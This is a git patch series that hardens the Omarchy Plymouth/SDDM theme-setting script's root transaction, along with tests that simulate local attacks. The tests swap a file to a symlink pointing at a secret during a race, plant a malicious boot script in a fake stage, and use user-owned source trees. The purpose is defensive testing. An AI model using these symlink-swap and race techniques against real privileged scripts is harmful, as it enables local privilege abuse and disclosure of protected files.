+if (( $# == 1 )) && [[ $1 == "--refresh-default" ]]; then refresh_default=true elif (( $# != 3 )); then echo "Usage: omarchy-plymouth-set " >&2 exit 1 fi -if ! $refresh_default; then +logo_fd= +if $refresh_default; then + mode=refresh + bg_hex= + text_hex= +else + mode=set bg_hex="${1#\#}" text_hex="${2#\#}" logo_path="$3" @@ -39,230 +45,215 @@ if ! $refresh_default; then exit 1 fi - # omarchy-plymouth-set-by-theme passes a theme's unlock.png straight from - # ~/.config/omarchy/themes, where an installed theme can make it a symlink to - # anything. The copies below land in world-readable /usr/share, so following - # one would republish whatever it points at. if [[ -L $logo_path ]]; then echo "Logo file is a symlink, which is not accepted: $logo_path" >&2 exit 1 fi + + # Open the logo while still unprivileged. A replacement symlink to a root-only + # file therefore fails here instead of being followed after sudo starts. + if ! exec {logo_fd}<"$logo_path"; then + echo "Unable to open logo file as the current user: $logo_path" >&2 + exit 1 + fi + if [[ ! -f /proc/$$/fd/$logo_fd ]]; then + echo "Logo input is no longer a regular file: $logo_path" >&2 + exit 1 + fi fi -theme_dir="/usr/share/plymouth/themes/omarchy" -sddm_dir="/usr/share/sddm/themes/omarchy" -max_asset_size=$((64 * 1024 * 1024)) +run_root_transaction() { + sudo /bin/bash -c ' + set -euo pipefail + PATH=/usr/bin:/bin + export PATH -plymouth_theme_assets=( - bullet.png - entry.png - lock.png - logo.png - omarchy.plymouth - omarchy.script - preview-unlock.png - progress_bar.png - progress_box.png -) -plymouth_default_assets=( - "${plymouth_theme_assets[@]}" - logos/oma.png -) -sddm_theme_assets=( - Main.qml - bullet.png - entry-failed.png - entry.png - lock-failed.png - lock.png - logo.png -) + mode=$1 + source_root=$2 + bg_hex=$3 + text_hex=$4 + max_asset_size=$5 -staging_dir=$(mktemp -d) -trap 'rm -rf -- "$staging_dir"' EXIT -chmod 0700 "$staging_dir" -plymouth_stage="$staging_dir/plymouth" -sddm_stage="$staging_dir/sddm" -mkdir -m 0700 -p "$plymouth_stage/logos" "$sddm_stage" + [[ $mode == "set" || $mode == "refresh" ]] + [[ $source_root == /* ]] + canonical_source_root=$(realpath -e -- "$source_root") + [[ $canonical_source_root == "$source_root" ]] + [[ $max_asset_size =~ ^[0-9]+$ ]] + (( max_asset_size > 0 )) -copy_regular_file() { - local source="$1" destination="$2" + if [[ $mode == "set" ]]; then + [[ $bg_hex =~ ^[0-9a-fA-F]{6}$ ]] + [[ $text_hex =~ ^[0-9a-fA-F]{6}$ ]] + fi - if [[ ! -f $source || -L $source ]]; then - echo "Refusing non-regular or symlinked asset: $source" >&2 - exit 1 - fi + theme_dir=/usr/share/plymouth/themes/omarchy + sddm_dir=/usr/share/sddm/themes/omarchy + plymouth_theme_assets=( + bullet.png + entry.png + lock.png + logo.png + omarchy.plymouth + omarchy.script + preview-unlock.png + progress_bar.png + progress_box.png + ) + plymouth_default_assets=("${plymouth_theme_assets[@]}" logos/oma.png) + sddm_theme_assets=(Main.qml bullet.png entry-failed.png entry.png lock-failed.png lock.png logo.png) - # -P ensures a source swapped to a symlink is copied as a symlink instead of - # followed; the post-copy check then rejects it. - cp -P --reflink=never -- "$source" "$destination" - if [[ ! -f $destination || -L $destination ]]; then - rm -f -- "$destination" - echo "Asset changed while it was being staged: $source" >&2 - exit 1 - fi - chmod 0600 "$destination" + validate_trusted_directory() { + local directory=$1 canonical uid directory_mode + + canonical=$(realpath -e -- "$directory") + [[ $canonical == "$directory" && -d $directory && ! -L $directory ]] + + while :; do + uid=$(stat -c %u -- "$directory") + directory_mode=$(stat -c %a -- "$directory") + (( uid == 0 )) + (( (8#$directory_mode & 0022) == 0 )) + [[ $directory == "/" ]] && break + directory=${directory%/*} + [[ -n $directory ]] || directory=/ + done + } + + validate_trusted_file() { + local source=$1 canonical uid file_mode size + + [[ -f $source && ! -L $source ]] + canonical=$(realpath -e -- "$source") + [[ $canonical == "$source" ]] + validate_trusted_directory "${source%/*}" + uid=$(stat -c %u -- "$source") + file_mode=$(stat -c %a -- "$source") + size=$(stat -c %s -- "$source") + (( uid == 0 )) + (( (8#$file_mode & 0022) == 0 )) + (( size > 0 && size <= max_asset_size )) + } + + copy_trusted_file() { + local source=$1 destination=$2 + + validate_trusted_file "$source" + cp --reflink=never -- "$source" "$destination" + chown 0:0 -- "$destination" + chmod 0600 -- "$destination" + } + + staging_dir=$(mktemp -d /tmp/omarchy-plymouth.XXXXXXXX) + temporary= + cleanup() { + [[ -z $temporary ]] || rm -f -- "$temporary" + rm -rf -- "$staging_dir" + } + trap cleanup EXIT HUP INT TERM + chown 0:0 -- "$staging_dir" + chmod 0700 -- "$staging_dir" + + plymouth_stage=$staging_dir/plymouth + sddm_stage=$staging_dir/sddm + mkdir -m 0700 -p -- "$plymouth_stage/logos" "$sddm_stage" + + if [[ $mode == "refresh" ]]; then + assets_to_stage=("${plymouth_default_assets[@]}") + else + assets_to_stage=("${plymouth_theme_assets[@]}") + fi + + for asset in "${assets_to_stage[@]}"; do + copy_trusted_file "$source_root/default/plymouth/$asset" "$plymouth_stage/$asset" + done + + if [[ $mode == "set" ]]; then + # stdin was opened by the unprivileged caller. Read no more than the + # documented limit into the root-owned stage before doing other work. + head -c "$((max_asset_size + 1))" >"$plymouth_stage/logo.png" + logo_size=$(stat -c %s -- "$plymouth_stage/logo.png") + (( logo_size > 0 && logo_size <= max_asset_size )) + chown 0:0 -- "$plymouth_stage/logo.png" + chmod 0600 -- "$plymouth_stage/logo.png" + cp --reflink=never -- "$plymouth_stage/logo.png" "$sddm_stage/logo.png" + + bg_r=$(awk -v n=$((16#${bg_hex:0:2})) "BEGIN{printf \"%.3f\", n/255}") + bg_g=$(awk -v n=$((16#${bg_hex:2:2})) "BEGIN{printf \"%.3f\", n/255}") + bg_b=$(awk -v n=$((16#${bg_hex:4:2})) "BEGIN{printf \"%.3f\", n/255}") + + sed -i \ + -e "s/^Window.SetBackgroundTopColor.*/Window.SetBackgroundTopColor($bg_r, $bg_g, $bg_b);/" \ + -e "s/^Window.SetBackgroundBottomColor.*/Window.SetBackgroundBottomColor($bg_r, $bg_g, $bg_b);/" \ + "$plymouth_stage/omarchy.script" + + for asset in bullet.png entry.png lock.png progress_bar.png; do + magick "$plymouth_stage/$asset" -channel RGB +level-colors "#$text_hex","#$text_hex" "$plymouth_stage/$asset" + done + + copy_trusted_file "$source_root/default/sddm/omarchy/Main.qml" "$sddm_stage/Main.qml" + sed -i \ + -e "s/#1a1b26/#__OMARCHY_SDDM_BG__/g" \ + -e "s/#ffffff/#__OMARCHY_SDDM_TEXT__/g" \ + -e "s/#__OMARCHY_SDDM_BG__/#$bg_hex/g" \ + -e "s/#__OMARCHY_SDDM_TEXT__/#$text_hex/g" \ + "$sddm_stage/Main.qml" + + for asset in bullet.png entry.png lock.png; do + cp --reflink=never -- "$plymouth_stage/$asset" "$sddm_stage/$asset" + done + for asset in entry lock; do + magick "$plymouth_stage/$asset.png" -channel RGB +level-colors "#f7768e","#f7768e" "$sddm_stage/$asset-failed.png" + done + chown -R 0:0 -- "$staging_dir" + find "$staging_dir" -type f -exec chmod 0600 -- {} + + fi + + publish_asset() { + local source=$1 destination=$2 parent filename source_size copied_size + + [[ -f $source && ! -L $source ]] + (( $(stat -c %u -- "$source") == 0 )) + source_size=$(stat -c %s -- "$source") + (( source_size > 0 && source_size <= max_asset_size )) + + [[ $destination == /* && $destination != */ && $destination != *"/../"* ]] + parent=${destination%/*} + filename=${destination##*/} + [[ -n $parent && -n $filename && $filename != "." && $filename != ".." ]] + validate_trusted_directory "$parent" + + temporary=$(mktemp --tmpdir="$parent" ".$filename.omarchy-new.XXXXXXXX") + cp --reflink=never -- "$source" "$temporary" + copied_size=$(stat -c %s -- "$temporary") + (( copied_size == source_size )) + cmp -s -- "$source" "$temporary" + chown 0:0 -- "$temporary" + chmod 0644 -- "$temporary" + sync -f -- "$temporary" + mv --no-copy -fT -- "$temporary" "$destination" + temporary= + } + + for asset in "${assets_to_stage[@]}"; do + publish_asset "$plymouth_stage/$asset" "$theme_dir/$asset" + done + + if [[ $mode == "set" ]]; then + for asset in "${sddm_theme_assets[@]}"; do + publish_asset "$sddm_stage/$asset" "$sddm_dir/$asset" + done + validate_trusted_directory "$sddm_dir" + rm -f -- "$sddm_dir/logo.svg" + fi + ' bash "$mode" "$OMARCHY_PATH" "$bg_hex" "$text_hex" "$((64 * 1024 * 1024))" } if $refresh_default; then - assets_to_stage=("${plymouth_default_assets[@]}") + run_root_transaction &2 - exit 1 - fi - - size=$(stat -c %s -- "$source") - if (( size == 0 || size > max_asset_size )); then - echo "Staged asset is empty or exceeds the ${max_asset_size}-byte limit: $source" >&2 - exit 1 - fi - hash=$(sha256sum -- "$source") - staged_sizes["$source"]=$size - staged_hashes["$source"]=${hash%% *} -} - -# Record every asset before the first sudo prompt. Root verifies both values -# after consuming stdin, so an in-place rewrite after this point fails instead -# of changing what is published. This pins the recorded result, not the trust -# of an already-user-writable OMARCHY_PATH checkout. -for asset in "${assets_to_stage[@]}"; do - record_staged_asset "$plymouth_stage/$asset" -done -if ! $refresh_default; then - for asset in "${sddm_theme_assets[@]}"; do - record_staged_asset "$sddm_stage/$asset" - done -fi - -publish_asset() { - local source="$1" destination="$2" - local expected_hash="${staged_hashes[$source]}" - local expected_size="${staged_sizes[$source]}" - - # The caller's shell opens source before sudo starts. Root reads only stdin, - # verifies the recorded bytes, and never opens or chmods the final pathname. - # Its temporary file is on the destination filesystem, so mv is atomic for - # this one asset and replaces a destination symlink instead of following it. - sudo /bin/bash -c ' - set -euo pipefail - PATH=/usr/bin:/bin - export PATH - - destination=$1 - expected_hash=$2 - expected_size=$3 - max_size=$4 - - [[ $destination == /* && $destination != */ && $destination != *"/../"* ]] - [[ $expected_hash =~ ^[0-9a-f]{64}$ ]] - [[ $expected_size =~ ^[0-9]+$ && $max_size =~ ^[0-9]+$ ]] - (( expected_size > 0 && expected_size <= max_size )) - - parent=${destination%/*} - filename=${destination##*/} - [[ -n $parent && -n $filename && $filename != . && $filename != .. ]] - [[ -d $parent && ! -L $parent ]] - canonical_parent=$(realpath -e -- "$parent") - [[ $canonical_parent == "$parent" ]] - [[ $(stat -c %u -- "$parent") == 0 ]] - parent_mode=$(stat -c %a -- "$parent") - (( (8#$parent_mode & 0022) == 0 )) - - temporary=$(mktemp --tmpdir="$parent" ".$filename.omarchy-new.XXXXXXXX") - cleanup() { rm -f -- "$temporary"; } - trap cleanup EXIT HUP INT TERM - - head -c "$((expected_size + 1))" >"$temporary" - actual_size=$(stat -c %s -- "$temporary") - (( actual_size == expected_size )) - actual_hash=$(sha256sum -- "$temporary") - [[ ${actual_hash%% *} == "$expected_hash" ]] - - chown 0:0 -- "$temporary" - chmod 0644 -- "$temporary" - sync -f -- "$temporary" - mv --no-copy -fT -- "$temporary" "$destination" - trap - EXIT HUP INT TERM - ' bash "$destination" "$expected_hash" "$expected_size" "$max_asset_size" <"$source" -} - -remove_legacy_asset() { - local destination="$1" - - sudo /bin/bash -c ' - set -euo pipefail - PATH=/usr/bin:/bin - export PATH - - destination=$1 - [[ $destination == /* && $destination != */ && $destination != *"/../"* ]] - parent=${destination%/*} - [[ -d $parent && ! -L $parent ]] - canonical_parent=$(realpath -e -- "$parent") - [[ $canonical_parent == "$parent" ]] - [[ $(stat -c %u -- "$parent") == 0 ]] - parent_mode=$(stat -c %a -- "$parent") - (( (8#$parent_mode & 0022) == 0 )) - rm -f -- "$destination" - ' bash "$destination" -} - -for asset in "${assets_to_stage[@]}"; do - publish_asset "$plymouth_stage/$asset" "$theme_dir/$asset" -done sudo plymouth-set-default-theme omarchy if omarchy-cmd-present limine-mkinitcpio; then @@ -270,10 +261,3 @@ if omarchy-cmd-present limine-mkinitcpio; then else sudo mkinitcpio -P fi - -if ! $refresh_default; then - for asset in "${sddm_theme_assets[@]}"; do - publish_asset "$sddm_stage/$asset" "$sddm_dir/$asset" - done - remove_legacy_asset "$sddm_dir/logo.svg" -fi diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index 72fdca8c..b85d14f8 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -162,40 +162,20 @@ done case "$1" in /bin/bash) - [[ ${2:-} == -c && $# -ge 5 ]] || exit 90 + [[ ${2:-} == -c && $# == 9 ]] || exit 90 code=$3 shell_name=$4 - original_destination=$5 - printf 'transaction %s\n' "$original_destination" >>"$TEST_SUDO_LOG" - - if [[ ${TEST_MUTATE_DEST:-} == "$original_destination" ]]; then - expected_size=${7:-0} - case "$original_destination" in - /usr/share/plymouth/themes/omarchy/*) - relative=${original_destination#/usr/share/plymouth/themes/omarchy/} - stage_kind=plymouth - ;; - /usr/share/sddm/themes/omarchy/*) - relative=${original_destination#/usr/share/sddm/themes/omarchy/} - stage_kind=sddm - ;; - *) exit 91 ;; - esac - stage_root=$(find "$TEST_STAGES" -mindepth 1 -maxdepth 1 -type d -print -quit) - source="$stage_root/$stage_kind/$relative" - /usr/bin/head -c "$expected_size" /dev/zero | /usr/bin/tr '\0' X >"$source" - printf '%s\n' "$source" >>"$TEST_MUTATE_LOG" - fi - - mapped_destination="$TEST_FAKE_ROOT$original_destination" - shift 5 + shift 4 + printf 'root transaction\n' >>"$TEST_SUDO_LOG" # The production helper intentionally resets PATH. For this unprivileged - # simulation only, substitute stat/chown shims so a uid-1000 test directory - # behaves like the root-owned /usr/share directory used in production. + # simulation only, substitute trusted tools and map fixed system destinations + # under the disposable fake root. code=${code/PATH=\/usr\/bin:\/bin/PATH=$TEST_ROOT_TOOLS:\/usr\/bin:\/bin} + code=${code/theme_dir=\/usr\/share\/plymouth\/themes\/omarchy/theme_dir=$TEST_FAKE_ROOT\/usr\/share\/plymouth\/themes\/omarchy} + code=${code/sddm_dir=\/usr\/share\/sddm\/themes\/omarchy/sddm_dir=$TEST_FAKE_ROOT\/usr\/share\/sddm\/themes\/omarchy} PATH="$TEST_ROOT_TOOLS:/usr/bin:/bin" \ - /bin/bash -c "$code" "$shell_name" "$mapped_destination" "$@" + /bin/bash -c "$code" "$shell_name" "$@" ;; plymouth-set-default-theme | limine-mkinitcpio | mkinitcpio) printf 'command %s\n' "$*" >>"$TEST_SUDO_LOG" @@ -211,21 +191,29 @@ SH cat >"$root_tools/stat" <<'SH' #!/bin/bash last=${!#} -if [[ ${1:-} == -c && ${2:-} == %u && $last == "$TEST_FAKE_ROOT"* ]]; then +if [[ ${1:-} == -c && ${2:-} == %u ]]; then + if [[ -n ${TEST_UNTRUSTED_SOURCE:-} && $last == "$TEST_UNTRUSTED_SOURCE"* ]]; then + printf '1000\n' + exit 0 + fi printf '0\n' exit 0 fi +if [[ ${1:-} == -c && ${2:-} == %a && $last == /tmp ]]; then + printf '755\n' + exit 0 +fi exec /usr/bin/stat "$@" SH cat >"$root_tools/chown" <<'SH' #!/bin/bash last=${!#} -[[ $last == "$TEST_FAKE_ROOT"* ]] || exit 93 +[[ $last == "$TEST_FAKE_ROOT"* || $last == /tmp/omarchy-plymouth.* ]] || exit 93 exit 0 SH -cat >"$fake_bin/magick" <<'SH' +cat >"$root_tools/magick" <<'SH' #!/bin/bash source=$1 destination=${@: -1} @@ -246,7 +234,6 @@ setup_run() { fake_root="$run_dir/root" sudo_log="$run_dir/sudo.log" leak_log="$run_dir/leaked-stage-path.log" - mutate_log="$run_dir/mutated.log" theme="$fake_root/usr/share/plymouth/themes/omarchy" sddm="$fake_root/usr/share/sddm/themes/omarchy" @@ -301,7 +288,6 @@ run_set_colors() { TEST_ROOT_TOOLS="$root_tools" \ TEST_SUDO_LOG="$sudo_log" \ TEST_LEAK_LOG="$leak_log" \ - TEST_MUTATE_LOG="$mutate_log" \ "$@" \ /bin/bash "$ROOT/bin/omarchy-plymouth-set" "$background" "$text" "$test_tmp/logo.png" ) @@ -330,14 +316,12 @@ for requested_umask in 022 027 077; do [[ -f $destination && ! -L $destination ]] || fail "Plymouth $asset is a regular file under umask $requested_umask" [[ $(stat -c %a "$destination") == 644 ]] || fail "Plymouth $asset is mode 0644 under umask $requested_umask" [[ -s $destination ]] || fail "Plymouth $asset is nonempty under umask $requested_umask" - [[ $(grep -Fc "transaction /usr/share/plymouth/themes/omarchy/$asset" "$sudo_log") == 1 ]] || fail "Plymouth $asset is published exactly once" done for asset in "${sddm_theme_assets[@]}"; do destination="$sddm/$asset" [[ -f $destination && ! -L $destination ]] || fail "SDDM $asset is a regular file under umask $requested_umask" [[ $(stat -c %a "$destination") == 644 ]] || fail "SDDM $asset is mode 0644 under umask $requested_umask" [[ -s $destination ]] || fail "SDDM $asset is nonempty under umask $requested_umask" - [[ $(grep -Fc "transaction /usr/share/sddm/themes/omarchy/$asset" "$sudo_log") == 1 ]] || fail "SDDM $asset is published exactly once" done cmp -s "$test_tmp/logo.png" "$theme/logo.png" || fail "Plymouth receives the selected logo under umask $requested_umask" @@ -373,9 +357,9 @@ if grep -Fq '__OMARCHY_SDDM_' "$sddm/Main.qml"; then fi pass "White theme keeps a white SDDM background instead of becoming black-on-black" -# Swap the first staged source to an unreadable file after all hashes have been -# recorded but in the DEBUG hook immediately before Bash opens the redirection. -# The caller-side open must fail, so sudo never starts and nothing is published. +# Swap the selected logo to an unreadable file in the DEBUG hook immediately +# before Bash opens its descriptor. The caller-side open must fail, so sudo +# never starts and nothing is published. setup_run preopen_hook="$run_dir/preopen-hook" preopen_marker="$run_dir/preopen-marker" @@ -385,11 +369,10 @@ cat >"$preopen_hook" <<'SH' if [[ $0 == */bin/omarchy-plymouth-set ]]; then set -T trap ' - if [[ ${destination:-} == /usr/share/plymouth/themes/omarchy/bullet.png && - $BASH_COMMAND == sudo\ /bin/bash\ -c* && + if [[ $BASH_COMMAND == exec* && $BASH_COMMAND == *logo_fd* && ! -e $TEST_PREOPEN_MARKER ]]; then - mv -T -- "$source" "$source.before-preopen-swap" - ln -s -- "$TEST_SECRET" "$source" + mv -T -- "$logo_path" "$logo_path.before-preopen-swap" + ln -s -- "$TEST_SECRET" "$logo_path" printf "swapped\n" >"$TEST_PREOPEN_MARKER" fi ' DEBUG @@ -399,32 +382,55 @@ SH output=$(TEST_PREOPEN_MARKER="$preopen_marker" TEST_SECRET="$secret" BASH_ENV="$preopen_hook" run_set 077 env 2>&1) status=$? chmod 0600 "$secret" +rm -f "$test_tmp/logo.png" +mv "$test_tmp/logo.png.before-preopen-swap" "$test_tmp/logo.png" (( status != 0 )) || fail "an unreadable pre-open source swap aborts publication" [[ -s $preopen_marker ]] || fail "the pre-open source swap ran deterministically" "$output" [[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' && $(stat -c %a "$theme/bullet.png") == 600 ]] || fail "pre-open failure leaves the live destination unchanged" [[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' ]] || fail "pre-open failure leaves destination-link victims unchanged" -if [[ -e $sudo_log ]] && grep -Fq 'transaction /usr/share/plymouth/themes/omarchy/bullet.png' "$sudo_log"; then +if [[ -e $sudo_log ]] && grep -Fq 'root transaction' "$sudo_log"; then fail "sudo started despite the caller-side open failure" fi assert_no_temporary_files "$fake_root" pass "an unreadable source swap before open fails without publication" -# Rewrite a staged file in place after Bash has opened it but before root reads -# stdin. Size is preserved, so only the recorded SHA-256 can reject this race. +# Plant both a malicious script and a root-file symlink where the old +# caller-owned stage lived. The privileged transaction must ignore that tree: +# executable/config assets come only from its root-trusted source and are built +# in its own root-owned stage. setup_run -mutate_destination='/usr/share/plymouth/themes/omarchy/omarchy.script' -output=$(run_set 022 env TEST_MUTATE_DEST="$mutate_destination" 2>&1) +attacker_stage="$stages/tmp.attacker" +mkdir -p "$attacker_stage/plymouth" +printf 'MALICIOUS BOOT SCRIPT\n' >"$attacker_stage/plymouth/omarchy.script" +ln -s "$secret" "$attacker_stage/plymouth/logo.png" + +output=$(run_set 022 env 2>&1) status=$? -(( status != 0 )) || fail "an in-place rewrite after open aborts publication" -[[ -s $mutate_log ]] || fail "the post-open in-place rewrite ran" -[[ -L $theme/omarchy.script ]] || fail "failed hash verification leaves the old destination symlink in place" -[[ $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' && $(stat -c %a "$plymouth_victim") == 600 ]] || fail "failed hash verification leaves the destination-link victim unchanged" +(( status == 0 )) || fail "a planted caller-owned stage cannot disrupt publication" "$output" +! grep -Rqs 'MALICIOUS BOOT SCRIPT' "$fake_root" || fail "caller-owned staged content reached the boot theme" +[[ -f $theme/omarchy.script && ! -L $theme/omarchy.script ]] || fail "the trusted Plymouth script replaces the planted destination symlink" +grep -Fq 'Window.SetBackgroundTopColor(0.114, 0.125, 0.129);' "$theme/omarchy.script" || fail "the installed script was derived from the trusted packaged source" +unexpected_stages=$(find "$stages" -mindepth 1 -maxdepth 1 ! -name tmp.attacker -print) +[[ -z $unexpected_stages ]] || fail "the caller created an authoritative staging directory" "$unexpected_stages" assert_no_temporary_files "$fake_root" -pass "recorded size and SHA-256 reject a same-inode rewrite after open" +pass "caller-owned content cannot enter the root-owned boot-image stage" + +# A user-owned source checkout would put the same pre-hash race on the input +# side of the root stage. Refuse it before any fixed destination is replaced. +setup_run +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT/default/plymouth" 2>&1) +status=$? + +(( status != 0 )) || fail "a user-owned packaged source tree is rejected" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "an untrusted packaged source leaves the live theme unchanged" +[[ -L $theme/omarchy.script && $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' ]] || fail "an untrusted source cannot replace executable Plymouth content" +assert_no_temporary_files "$fake_root" + +pass "root rejects packaged assets that a desktop process could rewrite" # Root rejects both a symlinked parent and a group/world-writable parent before # it creates a temporary file or touches the live destination. @@ -459,7 +465,6 @@ output=$( TEST_ROOT_TOOLS="$root_tools" \ TEST_SUDO_LOG="$sudo_log" \ TEST_LEAK_LOG="$leak_log" \ - TEST_MUTATE_LOG="$mutate_log" \ /bin/bash "$ROOT/bin/omarchy-refresh-plymouth" 2>&1 ) status=$? @@ -469,7 +474,6 @@ for asset in "${plymouth_default_assets[@]}"; do destination="$theme/$asset" cmp -s "$ROOT/default/plymouth/$asset" "$destination" || fail "refresh publishes the packaged $asset bytes" [[ -f $destination && ! -L $destination && $(stat -c %a "$destination") == 644 ]] || fail "refresh publishes $asset as a regular mode-0644 file" - [[ $(grep -Fc "transaction /usr/share/plymouth/themes/omarchy/$asset" "$sudo_log") == 1 ]] || fail "refresh publishes $asset exactly once" done [[ -L $sddm/Main.qml && $(cat "$sddm_victim") == 'SDDM VICTIM' ]] || fail "Plymouth refresh leaves SDDM unchanged" ! grep -Fq 'transaction /usr/share/sddm/' "$sudo_log" || fail "Plymouth refresh does not publish SDDM assets" From d3b7810a7690044768a423f11cc5b1d7914799b3 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 16:00:50 +0200 Subject: [PATCH 120/336] Say why the privileged Plymouth transaction refused Every check inside the root shell is a bare [[ ]] or (( )) assertion that aborts under set -e, so a refusal exited with status 1 and no output at all. The floating-terminal wrapper then printed its green "Done!" for any status but 130, so a failed boot-theme change read as a success. The refusal a working machine actually hits is omarchy dev link, which points OMARCHY_PATH at a checkout the desktop user owns. Name that case outright and point at omarchy dev unlink; report every other rejection through an ERR trap that names what failed validation. Co-Authored-By: Claude Opus 5 (1M context) --- bin/omarchy-plymouth-set | 35 ++++++++++++++++++++++++++++--- test/shell.d/plymouth-set-test.sh | 19 +++++++++++++++++ 2 files changed, 51 insertions(+), 3 deletions(-) diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index 68f13ff8..51d37e45 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -64,23 +64,47 @@ fi run_root_transaction() { sudo /bin/bash -c ' - set -euo pipefail + set -eEuo pipefail PATH=/usr/bin:/bin export PATH + # Every check below is a bare assertion that aborts under set -e. Name the + # subject of each one so a refusal reaches the user instead of exiting mute. + failure_context="the privileged Plymouth transaction" + failure_reported= + report_failure() { + [[ -z $failure_reported ]] || return 0 + failure_reported=1 + printf "omarchy-plymouth-set: refusing to publish: %s failed validation\n" "$failure_context" >&2 + } + trap report_failure ERR + mode=$1 source_root=$2 bg_hex=$3 text_hex=$4 max_asset_size=$5 + failure_context="the arguments of the privileged transaction" [[ $mode == "set" || $mode == "refresh" ]] [[ $source_root == /* ]] - canonical_source_root=$(realpath -e -- "$source_root") - [[ $canonical_source_root == "$source_root" ]] [[ $max_asset_size =~ ^[0-9]+$ ]] (( max_asset_size > 0 )) + failure_context="the Omarchy source tree $source_root" + canonical_source_root=$(realpath -e -- "$source_root") + [[ $canonical_source_root == "$source_root" ]] + + # The one refusal a healthy machine can hit: omarchy dev link points + # OMARCHY_PATH at a checkout the desktop user can rewrite, and executable + # boot assets cannot come from there. Say so rather than failing mute. + source_root_uid=$(stat -c %u -- "$source_root") + if (( source_root_uid != 0 )); then + printf "omarchy-plymouth-set: %s is not root-owned, so it cannot supply executable boot assets.\n" "$source_root" >&2 + printf "omarchy-plymouth-set: this is expected on a development checkout; run omarchy dev unlink to publish from /usr/share/omarchy.\n" >&2 + exit 1 + fi + if [[ $mode == "set" ]]; then [[ $bg_hex =~ ^[0-9a-fA-F]{6}$ ]] [[ $text_hex =~ ^[0-9a-fA-F]{6}$ ]] @@ -105,10 +129,12 @@ run_root_transaction() { validate_trusted_directory() { local directory=$1 canonical uid directory_mode + failure_context="directory $directory" canonical=$(realpath -e -- "$directory") [[ $canonical == "$directory" && -d $directory && ! -L $directory ]] while :; do + failure_context="directory $directory (must be root-owned and not group- or world-writable)" uid=$(stat -c %u -- "$directory") directory_mode=$(stat -c %a -- "$directory") (( uid == 0 )) @@ -122,6 +148,7 @@ run_root_transaction() { validate_trusted_file() { local source=$1 canonical uid file_mode size + failure_context="packaged source file $source" [[ -f $source && ! -L $source ]] canonical=$(realpath -e -- "$source") [[ $canonical == "$source" ]] @@ -170,6 +197,7 @@ run_root_transaction() { if [[ $mode == "set" ]]; then # stdin was opened by the unprivileged caller. Read no more than the # documented limit into the root-owned stage before doing other work. + failure_context="the selected logo (expected 1 to $max_asset_size bytes)" head -c "$((max_asset_size + 1))" >"$plymouth_stage/logo.png" logo_size=$(stat -c %s -- "$plymouth_stage/logo.png") (( logo_size > 0 && logo_size <= max_asset_size )) @@ -211,6 +239,7 @@ run_root_transaction() { publish_asset() { local source=$1 destination=$2 parent filename source_size copied_size + failure_context="destination $destination" [[ -f $source && ! -L $source ]] (( $(stat -c %u -- "$source") == 0 )) source_size=$(stat -c %s -- "$source") diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index b85d14f8..ae146c98 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -428,10 +428,27 @@ status=$? (( status != 0 )) || fail "a user-owned packaged source tree is rejected" [[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "an untrusted packaged source leaves the live theme unchanged" [[ -L $theme/omarchy.script && $(cat "$plymouth_victim") == 'PLYMOUTH VICTIM' ]] || fail "an untrusted source cannot replace executable Plymouth content" +[[ $output == *"refusing to publish"* ]] || fail "a rejected packaged source says why it refused" "$output" assert_no_temporary_files "$fake_root" pass "root rejects packaged assets that a desktop process could rewrite" +# omarchy dev link points OMARCHY_PATH at a checkout the desktop user owns, so +# this refusal fires on a working machine, not only under attack. Every check in +# the privileged transaction is a bare assertion that aborts under set -e, so +# without a diagnostic the whole Plymouth menu would just close in silence. +setup_run +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT" 2>&1) +status=$? + +(( status != 0 )) || fail "a user-owned OMARCHY_PATH is rejected" +[[ $output == *"is not root-owned"* ]] || fail "the refusal names the untrusted source tree" "$output" +[[ $output == *"omarchy dev unlink"* ]] || fail "the refusal names the way back to a trusted tree" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a user-owned OMARCHY_PATH leaves the live theme unchanged" +assert_no_temporary_files "$fake_root" + +pass "a development checkout is refused with an explanation instead of in silence" + # Root rejects both a symlinked parent and a group/world-writable parent before # it creates a temporary file or touches the live destination. setup_run @@ -441,6 +458,7 @@ output=$(run_set 022 env 2>&1) status=$? (( status != 0 )) || fail "a symlinked destination parent is rejected" [[ $(cat "$theme.real/bullet.png") == 'old plymouth bullet.png' ]] || fail "a symlinked parent leaves its target unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected symlinked parent says why it refused" "$output" assert_no_temporary_files "$fake_root" setup_run @@ -449,6 +467,7 @@ output=$(run_set 022 env 2>&1) status=$? (( status != 0 )) || fail "a writable destination parent is rejected" [[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable parent leaves its live destination unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected writable parent says why it refused" "$output" assert_no_temporary_files "$fake_root" pass "publication rejects symlinked and non-root-writable destination parents" From 079d11651159d0e1850e45bb734be1f64b8328c2 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 16:01:01 +0200 Subject: [PATCH 121/336] Cover the Plymouth parent-chain walk and guard its test harness Deleting the whole ancestor walk from validate_trusted_directory and checking only the immediate parent left the suite green, so the invariant the design rests on had no coverage: a writable ancestor lets an attacker swap a validated directory out from under the leaf. Reject a run whose destination grandparent is world-writable while the destination itself is pristine. The harness also rewrites the root script's fixed /usr/share paths by string substitution. A drifted string silently no-ops that rewrite and would point the simulation at the real system tree, so assert each substitution landed. Assert the scratch directory exists too: a failed mktemp left it empty and the suite carried on building paths from it. Co-Authored-By: Claude Opus 5 (1M context) 